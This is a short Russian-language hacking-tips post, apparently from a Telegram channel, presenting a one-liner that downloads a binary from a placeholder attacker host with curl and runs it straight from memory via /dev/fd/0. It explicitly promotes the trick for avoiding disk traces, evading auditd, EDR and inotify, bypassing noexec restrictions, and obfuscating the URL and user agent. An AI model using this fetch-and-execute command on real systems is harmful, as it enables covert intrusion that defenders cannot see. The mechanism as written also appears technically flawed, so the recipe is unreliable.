💾 Запуск бинарника напрямую из памяти

Если нельзя писать на диск или не хочется светиться в логах — можно выполнить ELF-бинарник напрямую из памяти, минуя файловую систему:

curl http://attacker/payload.elf | bash -c 'chmod +x /dev/fd/0 && /dev/fd/0'

Как работает:

— curl тянет бинарь по HTTP

— /dev/fd/0 — спецфайл, указывающий на поток stdin

— chmod +x делает поток исполняемым

— /dev/fd/0 сразу запускается как исполняемый ELF

⚠️ Бинарник не сохраняется и не появляется на диске даже временно.

Полезно для:

✅ Разведки без следов (auditd, EDR, inotify не ловят файл)

✅ Обхода ограничений записи (tmp, noexec)

✅ Тестов persistence без артефактов

✅ CTF и отработки техник memory execution

💡 Лайфхаки:

— Заменить curl на wget -qO-, socat, nc, httpie

— Альтернатива: /proc/self/fd/0

— Можно обфусцировать URL, использовать TLS и подмену юзер-агента

🐸 Библиотека хакера

#буст